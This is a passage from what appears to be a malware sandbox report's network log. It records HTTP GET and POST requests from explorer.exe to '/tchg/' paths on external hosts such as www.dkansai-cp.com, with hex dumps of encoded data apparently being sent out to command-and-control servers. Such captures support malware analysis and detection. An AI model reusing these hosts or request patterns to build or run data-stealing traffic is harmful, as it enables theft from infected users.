61 6d 7a 77 39 33 39 41 49 6b 72 68 7e 6d 53 61 46 64 67 50 5a 47 43 72 61 53 42 59 30 64 6c 78 34 79 73 64 71 54 5a 61 77 50 7e 63 4e 34 66 45 71 74 51 79 6c 63 6f 59 4c 45 4d 38 65 31 45 68 4f 52 69 4f 57 7a 7a 78 63 58 48 79 67 30 48 66 66 6a 38 6a 65 7a 53 31 51 4d 44 61 59 47 7e 68 65 51 72 6b 32 36 73 4f 4c 4d 4d 7a 79 49 6c 70 35 72 56 4a 6e 74 48 53 32 4e 7e 45 65 34 70 43 68 64 6d 64 65 32 44 6c 45 70 30 4a 46 50 72 70 50 66 4e 65 6a 35 66 47 5a 4b 79 57 61 34 6f 70 57 73 7e 62 43 58 36 72 4b 63 52 49 69 68 4b 56 31 65 42 63 4b 57 73 68 72 79 78 50 6c 54 59 45 49 6e 28 51 61 75 4f 72 77 39 4c 53 79 53 45 4a 4d 76 34 6a 76 61 79 65 7a 5f 4a 6a 38 36 50 53 75 69 7e 76 66 51 6a 75 4a 71 6b 70 61 52 35 75 70 63 35 50 45 69 71 35 6c 66 57 30 66 2d 4b 4f 61 73 5a 6b 74 69 70 34 58 51 39 41 49 44 50 73 39 32 6a 69 41 79 4e 54 47 59 61 71 59 55 58 55 69 54 65 57 6d 4b 78 6a 67 61 31 4d 36 53 39 33 50 36 6a 38 70 6e 28 75 6a 72 28 4e 44 31 6f 30 7e 66 78 70 63 53 55 31 44 7a 46 5f 4d 38 54 55 75 61 74 6b 4c 43 4d 64 74 4f 32 33 51 4b 36 76 57 72 38 4d 39 71 50 32 42 30 70 55 6b 67 37 54 68 75 7e 72 76 44 4e 35 28 48 7e 48 47 76 6f 6a 35 49 44 4e 31 36 54 58 28 4f 79 76 35 37 33 56 36 6e 74 6b 4a 55 7e 67 6a 44 4b 65 76 75 49 50 63 68 30 74 33 6e 74 31 46 4a 37 77 30 67 34 63 38 5a 4a 46 68 74 35 75 76 65 79 34 57 72 6c Data Ascii: O0qEM=cWIuLz26coaUCpm6uffCFshODdrE0vGSsPTGM0fCMT1hSmIHUJq14JLAyJ~bpRT526NzrFdPZY5QW9ocfrq5cK630zBMhVb9n1P_SKoYWSxCEhrLSv5R~nuTt2EEXGN722mMoIljozvV0Te7VR3TWjFOHq(Uc7iVN05cctSR9xbdwd(QgDnAQ2LbC5j-1QnwljPoWcHjtIO5mIUSD1GXWkGvk-j-w8kGRSpGO6I8oMhnWMoc5EPVwXR73SIvYmHpROEEXNlXs_slj-WPoLLd~_hYYAyWIhVLm18xI-FSNFOnw-Jz1SImrJhLkmzX9oPqhszOe68w7yXEv6gn3h94j6Z5xpHNfiiVHQGEOw0L~g40fAOkcEFntRh05853nM0scQO-wKBRncCb0GBKk1l7oXgcA9Lx~NAdBuo54IhMRiAIuXE9sTKn3wicM1KyQO6eRzVE~D(16MOCufzDiOMYwN8efARKwmsBNruKINTkAQL965exH5cHoCAMRMT6F4iylo47TjPxwWgLeHxHllN1F6rgvkZnxoGnWBoBOJ~V6ZwPQWOX~00i7JXKnnkSES7-zvqNwmD0EVQvMlC_BMqj9ly1HeTDOyC3twgIjfxx6X1X49gQAJp9nYzwTvrYbrytg3pl9bAK~0HE6wJQa_GFCgH6qZJ0kWAH9jeqzATfQ87SBdjYXssshtXxlD9UbKkNVLSBKwEouwlBm9fzBPin1y1_WjB8m-EEk6l9hPAvaVOJajiORrGoG_V9bGPFMA(26Z(AyqPtIRSHQDDFb9yOKiS8mGa3kmIO7DtRniV_5n47gqpxsqHcTy658m2lgoz_J36IA_j-nDy9O3TQY_Rq6CbmPoAqwHKKKGEoQTWo3Vhq~qTIyLksVchE3ysZpocCdfUwimJfzTW1Nkamzw939AIkrh~mSaFdgPZGCraSBY0dlx4ysdqTZawP~cN4fEqtQylcoYLEM8e1EhORiOWzzxcXHyg0Hffj8jezS1QMDaYG~heQrk26sOLMMzyIlp5rVJntHS2N~Ee4pChdmde2DlEp0JFPrpPfNej5fGZKyWa4opWs~bCX6rKcRIihKV1eBcKWshryxPlTYEIn(QauOrw9LSySEJMv4jvayez_Jj86PSui~vfQjuJqkpaR5upc5PEiq5lfW0f-KOasZktip4XQ9AIDPs92jiAyNTGYaqYUXUiTeWmKxjga1M6S93P6j8pn(ujr(ND1o0~fxpcSU1DzF_M8TUuatkLCMdtO23QK6vWr8M9qP2B0pUkg7Thu~rvDN5(H~HGvoj5IDN16TX(Oyv573V6ntkJU~gjDKevuIPch0t3nt1FJ7w0g4c8ZJFht5uvey4Wrly7jRQaDyCFqOo684QolWQzDWtdViRjhSPrNkbKqs9JfYzKSAPk-fWS6WhdxUw6Nsip-cjjBaCTaAFCvlaF50a(Skb(5nz0sgJAOANnAHOfmLk7dETrJGSrCEYyW1bVMp03pw2638u(TeApm6KQ5wRHTk2gUNwuYK25bE2IUS1rz~6DlZlL_jvr-(zU9KWBM3sfkChsEbCxEG7ThB8wGtd7OIzVe6vN3lnqI8ZBbPoX6Oa9H2tP6oXqbbLwXDr4OliJM9dndgzgoK0zNEzV_AVqk2S4N7vi5GILOE9ipLTwzxsULfxhxyIqjdYLsMko9amZGxu09NDQR2QGsF0ojrE7Hi9n5JDIl(B~GrITagro_TzyDfKpSWBdwXAtzkPt7QyOmgi5yGx13xnQUT-goE8cZMV6nu2ZdlHzaT34cQSF8SZZJ8pPt(_e8IyXhmkUUt_7P6BlF2d6hSEk3Ruhxm6t0VClNm-ytqQrKS946LNCGjIPdHtmw~aR-R4OxjTgRCDejLJn8qlBb(P2RjuPwXZk_MUREiU4GGTw4g5(HEqlbo5N8t_eMqUvMM7YBfv25IJdQzdeggIRb3glCA9a8uVN_MEzA(dJhU63j~BGSkosLloJ6GX~zIJnjHB7PMTQy9S7qMLbnVpJPb7y9D8jOYBNku73SFmGkXeqYiGRD8VvEt4~02DR_eF28i4CuuFzuGz~bMYID8-6_cZDoWQ0IghDY0MCiDMs2u3gIfWSDQu3r3E3HYvUw9VMunBS23hGaYvOuSWW1PAdKbxcX7vqAj5jao5WiN7qe3sSpuSdfDFkmL0AQCCvdGOWwiCf0TUTGPLQcv6xGE8wUca5k8xgrlco-Q-ttUcBJgiJ03Z(_qJ(_gLLwxUB0WRJ4zwg4uK6dZUVEhDSjPrhI(GI_TFW8hR0ga3MgR9gPGJr4zlzwC9ESDITBzbEYfP3JMU13k50mOFpN09~vIpIsEQE7ORBNe9JsrJLsaWn-dKrMYgaF2UwDk3vhcVi3X0NsJy23daoK7dEBBlF6C7YLI05Kv0CsfD2byuWSxeNQj-qJF6cAkd1IdjyDIV7x651mMXI92_AEeGa8zHFgIm(MD25niR9V2lTnUj(O67SCKIza2U9N4sv0BMj7N2jSDyBXpRLfWBNpJlLG7RjJbzAiBMSd2wF40Psr3nfGJWRHd1oWjYbZxBeOt1Hu35pcXgy3AI4gM-vKb0seEHTCHiBka0YsT6VQbW6SNvdM9vxnBj27zm~D2WJGxJY-PdV2CFK-RajPoRoou7Pe7uf08eR_KukB1Qj_~S8PjC~o7Smc3R1XdXoy2_9HmVX_auIh0UpnovF14rU0(HaR8_hX553er7sSn5DckbntIrc50p1yU9FGw-mYkGG8d0QZfbYQIGqqSauZ7G1jtooBLLL4dgyLJYxKLrOu4aeKn-Qc6081NZqlsLlHt6VRg46A2_JpETW60qgRznBzXEcuz6O6a7ZwIWUVGtTZDy8LPBdHXbvsh9ubjFB4I4rkyMnByQtQSgL4ILpI0VZh~kVPObKNs_4rTQnBY-fOQafkn4X9DJOvuIJJYxFMjDKDGH~oo28mjvYH~8UhMonc~9QttGrjuSnIecy4PIodSFv3mtE_kh0YCVJIwlWCHt2NEwDnGg11F6Ol5w5bl2AkgrANUCyB5np6zPhDWaa5NXuK14zgJO03aPVVal4J(LabGwv-W2V98PphdR9wRDxyg4SaS7SC7Rg7cgpvlV4L87tSgqfDfttULfOrjXVBzZaMj-903VaZ75Q4j0(jxbCOpIC_9a62nq9dERrTz3QXUuGgicNDMFJeWywnYViSduuHaqmvnDr80DhWyQD6ZgzvMQjyBiso9FWSNcI6AVc5e7S9VpfyKA~TXmKEJ3F57Mn2QwYFt1GTcCxkdfB4qkGmiEqVWlmM54dMC5mEuQavEDerAZpHhKVl(G5tQm9dSytk77fMeHdfFP96DvhyWsnHBAqjwL6i(32qODWHrpugVGBzSAn3KrRPi4TRGoA2(AVcQnULdduG91hUXxoebuwWZOQzUtIE(D0bXDDcrIuP7xcw9eh_62alDXDxedip92UurSKqZgI-A4xV7kGtdwpA2TH_MOhcUcf_0yJMNubIRSJj5FcinQgxI9sA8-4ATo5koy8KTVQpu_C7bIJlP9MWW3WIs6NBCDMVfFgq~mHf8qjMUzi-5NR8zDGk5c0DZy(aqNw2usQeIVg76YCUG6ouiGc_YUPBJ0~kAutQtGbQsA92LSk0CXZicQh1JnvzhtWKAIGXESznYH1otQ6QnI4oyAf7H_CdiF6GM0ec0K9o2EzDpadpDBjSn7Aw~3HHrvZ388Lsoi7DtYIVP-c4ZmSixv7DEqPPIpYEAB3QS-IhKF6j7BkBs7(3SmF7oBC-OURSUY2GmvnNluM-Tb1XayQhFdpevjW5F9nurbrLEwi_VTRB11rJfqNACWELzzUfxqHA9Zi53-ojKTEyUUviZ82AGkRfA6ktItfzp6kiTs91f72wWUx79ffncg(DktoRomZiDzvWgpz7a2vRdnB2iQqAZ5sSvrGtPVSTQaDt3EHM5Sc2YMNWnQfGhHyGlGBxCmNeKIpLMLf2~1Mgo1mWRt2HyI69YFeT6o0LxCqOpfz9RwHYcicUIeIbGaOljC3dd-8kgNA0Sv29ZdH4zzLoIL710DGyzdaJLCl5SxwB2BxRg4E50Eh0qubRjhhc
May 30, 2023 11:09:20.693150043 CEST	666	OUT	Data Raw: 4a 65 50 6d 72 7a 49 57 35 32 34 4e 4f 78 78 79 58 78 5a 55 46 48 77 50 48 37 68 6f 6b 39 7e 57 62 2d 6e 41 42 50 71 41 66 41 78 43 68 76 70 69 47 74 42 5a 75 70 50 69 65 4c 55 30 54 7a 51 66 5a 52 6d 56 65 49 38 66 48 71 68 70 57 36 65 51 4c 31 Data Ascii: JePmrzIW524NOxxyXxZUFHwPH7hok9~Wb-nABPqAfAxChvpiGtBZupPieLU0TzQfZRmVeI8fHqhpW6eQL15fhxQFq-MLrDEKh_iQWP8HPiq0PIQ-6ukwYcaLzXmfcMMh2Q(gZfzhYjDsfZi-7ovUolSKHD(TUKgRnFuwtU809ivSETWWg-y5tK7Q(xqj71(ZTISw67Min0dVxuSDPlqyxl8c(MSt1XzyDKAbQZvyvL~BDCSWikD
May 30, 2023 11:09:20.693258047 CEST	671	OUT	Data Raw: 51 34 53 67 51 56 79 4d 4d 49 61 7a 6b 53 6c 39 72 4e 63 44 47 67 72 58 31 47 28 4f 74 33 39 43 4a 4f 6d 68 55 5a 44 6e 4d 45 64 65 67 6f 6b 68 77 76 43 41 34 7a 72 76 67 5f 70 6b 7a 50 35 71 7e 4e 43 32 33 5a 44 30 7a 6f 52 58 69 6d 78 50 62 50 Data Ascii: Q4SgQVyMMIazkSl9rNcDGgrX1G(Ot39CJOmhUZDnMEdegokhwvCA4zrvg_pkzP5q~NC23ZD0zoRXimxPbPFEe0jFfXuTJFYTyJVXKeiiDI7jiuB8Qjp4XlmkukR765xIPjVcnTRlGWkRLunB8Cy900K4jLRfmrCQtSpi2Y1c0U7usYRH~RWhaRGYqjUz~zYVvSL3amAEQKBY5GDfqqJpWDX0U4zyWEDF6NI1Ky1oo7qu1sctULP
May 30, 2023 11:09:20.693315029 CEST	673	OUT	Data Raw: 43 6b 6f 31 4e 74 76 37 4e 44 51 42 66 62 37 64 78 62 56 54 31 6a 39 59 49 78 54 36 54 4c 38 72 4e 4e 4c 30 69 65 69 52 4c 7a 77 6f 7a 71 41 61 54 6a 30 68 4e 74 5a 32 30 33 38 77 74 59 57 2d 76 56 43 31 49 67 50 4b 6d 30 64 43 71 58 42 7a 77 7a Data Ascii: Cko1Ntv7NDQBfb7dxbVT1j9YIxT6TL8rNNL0ieiRLzwozqAaTj0hNtZ2038wtYW-vVC1IgPKm0dCqXBzwzl8W2zKx87rZ5WGLQKw(CeEnWIDUXVRRAPdfcDf5J2o5OBSYD6TDMmJGxOh1QPo5UYwpAhaHaFZWeXqa8cCPPvtY4a9AHOka01o~iwStZF9WeR0EumS2_6iN5kk96RCNzQk39E2CbCm27gUlw9luMZi8fpaGsilzJo
May 30, 2023 11:09:20.693751097 CEST	679	OUT	Data Raw: 68 6e 55 71 28 62 67 61 39 75 52 35 55 50 6d 52 79 5a 79 64 5a 43 79 44 4e 55 31 49 6a 4e 69 73 4b 57 57 30 39 31 7a 7a 72 5a 64 36 31 75 45 6f 31 49 6e 53 67 31 5a 50 4f 69 4b 58 38 5a 56 2d 76 38 58 51 73 55 43 34 6a 53 61 4f 51 45 32 61 4b 42 Data Ascii: hnUq(bga9uR5UPmRyZydZCyDNU1IjNisKWW091zzrZd61uEo1InSg1ZPOiKX8ZV-v8XQsUC4jSaOQE2aKBZmHM9BHvj7TJ7PGT9HI7rtezVkbL7IpG7Ip6S4QZITi16GOT2iFs(7bcXb6X12QEd-cin2urXms-x1baROE4DMFHyqAUqD91dTKyoCSDeLKu99jtoiWyUSSO5eYhpLygQdq5yR1IIPalLJ7ggSvYGrFNI8SRnGWQK
May 30, 2023 11:09:20.693877935 CEST	689	OUT	Data Raw: 34 31 33 38 52 62 43 2d 50 51 5a 77 61 4c 48 6f 52 73 7e 53 43 59 39 32 71 5f 37 4e 76 64 77 62 55 6c 5a 5f 79 58 4e 4e 76 36 63 54 4b 2d 46 79 7e 41 6a 75 76 37 74 62 55 66 30 65 46 7a 4a 70 71 32 4c 76 4e 65 56 6c 36 4a 4f 6e 53 6d 49 6e 44 6d Data Ascii: 4138RbC-PQZwaLHoRs~SCY92q_7NvdwbUlZ_yXNNv6cTK-Fy~Ajuv7tbUf0eFzJpq2LvNeVl6JOnSmInDmXC~lzpPkoUkNNiomoJbxwFvqpLJ8busiIG4XTFRzjurQHsYBVAgrtpFSH6rvCUAuHkr_xhBNFgMBCrQP0lMgH0MBmr1CI8OOVQwTQvlIFm34onRGMMCnTGfTq-CPbsz-Hz8FQjKGUm~ErbofijpNCq8jjIxoq1(IE
May 30, 2023 11:09:20.851471901 CEST	695	OUT	Data Raw: 31 71 36 6a 69 66 58 5a 31 56 7a 6e 39 5f 59 4f 33 71 6d 4f 42 78 61 54 43 4c 50 2d 50 65 6b 49 4e 54 42 32 37 44 6b 31 65 66 4e 6e 46 70 5a 66 76 51 75 68 51 43 6f 39 65 32 78 5f 4b 66 39 78 7a 72 51 56 54 77 4d 4d 79 38 74 53 32 64 4a 4c 6f 41 Data Ascii: 1q6jifXZ1Vzn9_YO3qmOBxaTCLP-PekINTB27Dk1efNnFpZfvQuhQCo9e2x_Kf9xzrQVTwMMy8tS2dJLoA5PtXGZ85ZVVs(gLupVJKL3PxZm~wnxgbJSOP4T9nDtDoYcvC9edxRvcMIh30b1J1JhGYvnvAlx(DLLcjI715e92rKe~0lPf6rGnYfA1TLPnf2RLvOJBGeWrlc1UC6o6o1Bkac4B7zBFREI1DCX3xKBR3o9yDlp1lr
May 30, 2023 11:09:20.851588011 CEST	703	OUT	Data Raw: 6a 6c 43 6a 4f 36 51 71 31 4d 64 4d 39 6b 77 30 66 62 4a 70 4a 54 73 54 54 45 4b 43 30 53 6b 32 53 41 6f 4b 52 68 6e 42 79 32 59 72 37 67 61 41 48 33 37 6f 63 59 39 6f 62 65 37 58 59 4e 58 68 63 53 36 5a 4a 50 53 31 44 4e 6f 6f 74 50 37 79 73 4b Data Ascii: jlCjO6Qq1MdM9kw0fbJpJTsTTEKC0Sk2SAoKRhnBy2Yr7gaAH37ocY9obe7XYNXhcS6ZJPS1DNootP7ysKWFkXQYkZduDOVih-AjASKdaDFDtk2_m8hBRhM-~tKf022VRhv0bCW0WvUxprUH44yurp8Aqzh6ykNSvy2MaRF3m4elzSvsQaIm1yKPIbaDk_ep2xcBYY4eSsO2fYLrBUiVsgsLeGR1ZOC_cqbbfvUhK_oKttHV1vL
May 30, 2023 11:09:21.545290947 CEST	704	IN	HTTP/1.1 200 OK Date: Tue, 30 May 2023 09:09:20 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 320 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 3c 62 72 20 2f 3e 0a 3c 62 3e 4e 6f 74 69 63 65 3c 2f 62 3e 3a 20 20 55 6e 64 65 66 69 6e 65 64 20 76 61 72 69 61 62 6c 65 3a 20 75 73 72 5f 69 64 20 69 6e 20 3c 62 3e 2f 76 61 72 2f 77 77 77 2f 68 74 6d 6c 2f 6e 65 77 72 65 64 2e 70 68 70 3c 2f 62 3e 20 6f 6e 20 6c 69 6e 65 20 3c 62 3e 35 31 3c 2f 62 3e 3c 62 72 20 2f 3e 0a 3c 62 72 20 2f 3e 0a 3c 62 3e 4e 6f 74 69 63 65 3c 2f 62 3e 3a 20 20 55 6e 64 65 66 69 6e 65 64 20 76 61 72 69 61 62 6c 65 3a 20 69 73 70 20 69 6e 20 3c 62 3e 2f 76 61 72 2f 77 77 77 2f 68 74 6d 6c 2f 6e 65 77 72 65 64 2e 70 68 70 3c 2f 62 3e 20 6f 6e 20 6c 69 6e 65 20 3c 62 3e 35 31 3c 2f 62 3e 3c 62 72 20 2f 3e 0a 3c 62 72 20 2f 3e 0a 3c 62 3e 4e 6f 74 69 63 65 3c 2f 62 3e 3a 20 20 55 6e 64 65 66 69 6e 65 64 20 76 61 72 69 61 62 6c 65 3a 20 64 74 20 69 6e 20 3c 62 3e 2f 76 61 72 2f 77 77 77 2f 68 74 6d 6c 2f 6e 65 77 72 65 64 2e 70 68 70 3c 2f 62 3e 20 6f 6e 20 6c 69 6e 65 20 3c 62 3e 35 31 3c 2f 62 3e 3c 62 72 20 2f 3e 0a Data Ascii: <br /><b>Notice</b>: Undefined variable: usr_id in <b>/var/www/html/newred.php</b> on line <b>51</b><br /><br /><b>Notice</b>: Undefined variable: isp in <b>/var/www/html/newred.php</b> on line <b>51</b><br /><br /><b>Notice</b>: Undefined variable: dt in <b>/var/www/html/newred.php</b> on line <b>51</b><br />

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
26	192.168.11.20	49785	216.108.231.108	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
May 30, 2023 11:09:23.220489025 CEST	704	OUT	GET /tchg/?O0qEM=RUgOIEC2bpKEAb3gt63mE+Z8A/D48vS2kv7pSD36MjRmJGY6VLK565PH5Ya2jxSU9dFBv1ZYes9vP/U9IpvgXfidz0YLsWTogQ==&CF1Ki=UnDuQcdCFs1MNsvY HTTP/1.1 Host: www.fairbitawayposearisk.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
May 30, 2023 11:09:23.908571959 CEST	705	IN	HTTP/1.1 200 OK Date: Tue, 30 May 2023 09:09:23 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 320 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 3c 62 72 20 2f 3e 0a 3c 62 3e 4e 6f 74 69 63 65 3c 2f 62 3e 3a 20 20 55 6e 64 65 66 69 6e 65 64 20 76 61 72 69 61 62 6c 65 3a 20 75 73 72 5f 69 64 20 69 6e 20 3c 62 3e 2f 76 61 72 2f 77 77 77 2f 68 74 6d 6c 2f 6e 65 77 72 65 64 2e 70 68 70 3c 2f 62 3e 20 6f 6e 20 6c 69 6e 65 20 3c 62 3e 35 31 3c 2f 62 3e 3c 62 72 20 2f 3e 0a 3c 62 72 20 2f 3e 0a 3c 62 3e 4e 6f 74 69 63 65 3c 2f 62 3e 3a 20 20 55 6e 64 65 66 69 6e 65 64 20 76 61 72 69 61 62 6c 65 3a 20 69 73 70 20 69 6e 20 3c 62 3e 2f 76 61 72 2f 77 77 77 2f 68 74 6d 6c 2f 6e 65 77 72 65 64 2e 70 68 70 3c 2f 62 3e 20 6f 6e 20 6c 69 6e 65 20 3c 62 3e 35 31 3c 2f 62 3e 3c 62 72 20 2f 3e 0a 3c 62 72 20 2f 3e 0a 3c 62 3e 4e 6f 74 69 63 65 3c 2f 62 3e 3a 20 20 55 6e 64 65 66 69 6e 65 64 20 76 61 72 69 61 62 6c 65 3a 20 64 74 20 69 6e 20 3c 62 3e 2f 76 61 72 2f 77 77 77 2f 68 74 6d 6c 2f 6e 65 77 72 65 64 2e 70 68 70 3c 2f 62 3e 20 6f 6e 20 6c 69 6e 65 20 3c 62 3e 35 31 3c 2f 62 3e 3c 62 72 20 2f 3e 0a Data Ascii: <br /><b>Notice</b>: Undefined variable: usr_id in <b>/var/www/html/newred.php</b> on line <b>51</b><br /><br /><b>Notice</b>: Undefined variable: isp in <b>/var/www/html/newred.php</b> on line <b>51</b><br /><br /><b>Notice</b>: Undefined variable: dt in <b>/var/www/html/newred.php</b> on line <b>51</b><br />

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
27	192.168.11.20	49786	183.90.238.43	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
May 30, 2023 11:09:29.715589046 CEST	706	OUT	POST /tchg/ HTTP/1.1 Host: www.dkansai-cp.com Connection: close Content-Length: 187 Cache-Control: no-cache Origin: http://www.dkansai-cp.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.dkansai-cp.com/tchg/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 4f 30 71 45 4d 3d 6c 54 47 5f 69 5a 51 31 65 38 72 54 52 36 43 43 76 48 53 6f 59 49 68 6a 76 32 36 45 68 76 33 63 4f 71 4c 75 41 48 52 39 75 69 54 46 4b 38 31 33 77 69 32 6d 71 76 32 45 70 57 70 72 77 5f 42 52 28 53 69 36 6a 38 75 78 7a 50 71 73 65 55 4f 7a 52 46 41 2d 43 39 6e 63 62 4e 49 5a 4f 67 65 45 69 59 49 79 41 52 72 41 74 4f 36 68 31 74 32 4f 7e 6a 45 5f 75 55 7e 58 4e 41 69 5a 33 56 37 32 6d 4c 72 6c 28 45 42 77 33 4c 36 51 68 79 75 34 4d 72 70 64 44 61 4a 76 45 4f 42 76 79 6a 77 66 4e 65 73 76 69 4d 7e 4a 4a 44 77 6d 68 62 78 74 42 67 29 2e 00 00 00 00 00 00 00 00 Data Ascii: O0qEM=lTG_iZQ1e8rTR6CCvHSoYIhjv26Ehv3cOqLuAHR9uiTFK813wi2mqv2EpWprw_BR(Si6j8uxzPqseUOzRFA-C9ncbNIZOgeEiYIyARrAtO6h1t2O~jE_uU~XNAiZ3V72mLrl(EBw3L6Qhyu4MrpdDaJvEOBvyjwfNesviM~JJDwmhbxtBg).
May 30, 2023 11:09:29.982260942 CEST	707	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 30 May 2023 09:09:28 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Last-Modified: Mon, 02 Jul 2018 00:27:42 GMT ETag: W/"afe-56ff9440f72fb" Content-Encoding: gzip Data Raw: 35 31 39 0d 0a 1f 8b 08 00 00 00 00 00 04 03 8d 56 cf 6f 13 47 14 3e 7b ff 8a 61 a3 4a 25 ca 66 63 27 71 a8 b1 ad 4a 10 0a 2d 90 08 4a a1 a7 6a bc 3b b6 a7 ac 77 ac dd 75 12 b7 ca 1f 63 32 53 d1 12 95 08 50 49 0a 88 aa a0 36 4d 4b 28 ad 82 2a 0e a0 aa 97 26 d0 0b 51 a5 1e fb 66 67 d6 5e 27 06 b1 17 7b df cf ef 7d ef cd db 29 1e 38 3a 73 e4 c3 8f 67 a7 51 3d 6a 78 65 a3 28 7f 90 87 fd 5a c9 fc 14 9b 52 40 b0 0b 3f 0d 12 61 e4 d4 71 10 92 a8 64 4e 9f 3b 62 bd 3f 6b 22 1b 34 11 8d 3c 52 9e 18 9b 40 c7 a8 47 d0 69 16 a1 63 ac e5 bb 45 5b 69 b4 af 8f 1b a4 64 3a ac d9 0e 68 ad 1e 99 c8 61 7e 44 7c 08 76 24 91 a1 0b 67 a7 cf 7c 34 7d 06 9d f0 9d 51 99 3b 4e aa 1c 03 56 61 51 98 f2 3a 71 fa e8 f4 85 91 63 33 27 4f ce 9c 57 40 52 d6 73 94 cc 37 59 90 ce 32 4f dd a8 5e 72 c9 1c 75 88 15 bf 8c 50 9f 46 14 7b 56 e8 60 8f 94 b2 a3 63 23 0d 10 35 5a 8d 9e 44 a2 08 a3 36 d4 15 b5 9b 80 3f 22 0b 91 ed 84 21 c8 87 d1 e7 06 82 a7 81 83 1a f5 0b 68 ec 70 fc da c4 ae 4b fd 5a fc be 68 d0 46 4d 9b 55 58 e0 92 40 8b 5b 9e 96 6a 6b cb 23 d5 a8 80 72 a4 71 d8 58 34 e2 1e a8 e0 6c 8e 04 55 8f cd 5b ed 02 0a 9d 80 79 9e ca 52 c1 ce c5 5a 20 69 2e a0 a1 f1 ca d4 3b 95 29 e9 59 61 6e 5b 47 ae 02 bd 56 15 37 a8 07 ae a6 f8 53 70 b1 23 be 32 47 d0 29 42 83 36 1b 41 e6 d2 83 a5 df d1 d2 af e2 86 b8 29 ee 89 ab a0 32 4f 9d 45 b3 ef b1 a8 4e 1d f9 26 7e 13 db e2 6b b1 79 fd 91 b8 81 66 03 86 ce 8f 4b f1 71 1a 60 a8 98 a1 0f f0 c5 16 52 e6 52 0d ba 10 fb a1 15 92 80 56 15 cc 3d dc 78 d4 27 56 9d c8 fe 17 50 76 74 42 19 c5 48 43 fa 19 29 a0 a9 c9 b7 94 4c f2 6c 61 8f d6 80 58 07 a6 84 04 4a ee 30 8f 01 89 f3 75 1a 91 98 aa 6c ba 5c 15 24 37 d1 5c 48 45 9e d7 f9 2a cc 73 f7 bb f4 6b 65 3f fb 41 aa 40 49 9b 60 06 23 d6 80 46 8d f5 a5 48 68 3e 4e bc 39 12 51 07 f7 33 01 1d cd 69 98 af aa 2b e6 60 3f 96 14 35 b9 29 99 72 d1 68 be 49 24 45 44 b6 4b c4 9e 3e a4 67 54 96 bc 97 d5 51 b2 d0 f4 30 f5 75 2a 35 ba 56 c4 9a d0 b5 e6 02 0a 99 47 5d 34 54 ad ea 2e 6b 7d 42 ce 20 93 7e 52 47 27 15 ad 09 ac 71 a0 13 e1 56 c4 fa d8 86 64 ba e6 21 07 b7 42 32 a0 70 79 6c 24 29 da c0 a3 da 46 17 34 94 cf e7 e3 96 8f 6b b9 47 22 18 25 2b 6c 62 27 3e a3 00 f5 95 93 22 89 49 13 05 59 e2 b1 fb a4 c2 16 74 b8 04 7f 76 52 e3 4f 96 40 ef 78 5a 7b b9 35 ec 61 54 1a f0 18 b0 3d c4 9a 78 da b9 2d d6 c5 96 f8 52 ec 1a c6 00 33 29 42 c3 b6 f1 6e 83 b8 14 23 e6 7b 6d b9 18 08 f1 11 f6 5d f4 36 6c 30 b5 dd 60 d3 1c d4 22 bc 90 88 a6 f2 c0 e8 41 40 9f 19 aa e0 98 d1 4c a6 5b 63 dc 85 6c 3c d9 99 45 23 53 97 47 2b 93 49 8f 60 5e d2 a5 75 c0 a1 9c 8f 3e 83 7c cf 59 0e 7c 9f 2e db 75 4e 4d 57 bf 45 3c ae 71 78 d9 af 4c 46 d1 ab e6 6e 02 28 86 dc 69 38 bd 88 dd f9 48 55 a3 8e 68 bf 43 4e e3 5f 34 5e d7 05 24 1e 89 3b e2 ba d8 ed fc 2b ee 8a c7 e2 05 6c c7 f5 d7 36 e3 4d ba 31 95 3f b4 8f fa 74 81 87 7a dc ed 23 7e 32 ad 1b 44 7c b6 d7 b6 57 b2 ab f8 cf c4 9f be 02 ca f7 7a d5 37 d6 99 ae 81 06 94 74 21 39 dd 29 2c aa 4b e9 01 51 38 13 97 78 61 f4 ea 1a d4 25 39 73 7b db 9a 8c c1 a2 51 b4 e3 6f 2f 7c 83 6d 75 0d 31 8a f2 0b 07 ef 2e 9d 43 d4 2d 99 72 8a e1 5b Data Ascii: 519VoG>{aJ%fc'qJ-Jj;wuc2SPI6MK(&Qfg^'{})8:sgQ=jxe(ZR@?aqdN;b?k"4<R@GicE[id:ha~D\|v$g\|4}Q;NVaQ:qc3'OW@Rs7Y2O^ruPF{V`c#5ZD6?"!hpKZhFMUX@[jk#rqX4lU[yRZ i.;)Yan[GV7Sp#2G)B6A)2OEN&~kyfKq`RRV=x'VPvtBHC)LlaXJ0ul\$7\HEske?A@I`#FHh>N9Q3i+`?5)rhI$EDK>gTQ0u*5VG]4T.k}B ~RG'qVd!B2pyl$)F4kG"%+lb'>"IYtvRO@xZ{5aT=x-R3)Bn#{m]6l0`"A@L[cl<E#SG+I`^u>\|Y\|.uNMWE<qxLFn(i8HUhCN_4^$;+l6M1?tz#~2D\|Wz7t!9),KQ8xa%9s{Qo/\|mu1.C-r[
May 30, 2023 11:09:29.982342005 CEST	708	IN	Data Raw: 2c cf 6a b1 9e 2d 17 25 39 f2 2e 02 9e f2 5f b1 12 c8 3b 8a 54 cb 67 ef 05 05 3c b4 6b ae 2c 2e 89 ab e2 96 58 e3 37 f9 df fc 0b be 0e bf 77 c5 13 38 8d ab fc e1 ea 15 7e 9f 5f e1 3b fc 29 bf c5 77 f9 8f 52 d7 59 02 50 39 ed df 44 8e 87 c3 b0 64 Data Ascii: ,j-%9._;Tg<k,.X7w8~_;)wRYP9Ddiu).mswRuma`_lVOLW61oVke_$qm]UY~x?'=:-sX[J{m/W~?,;s:

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
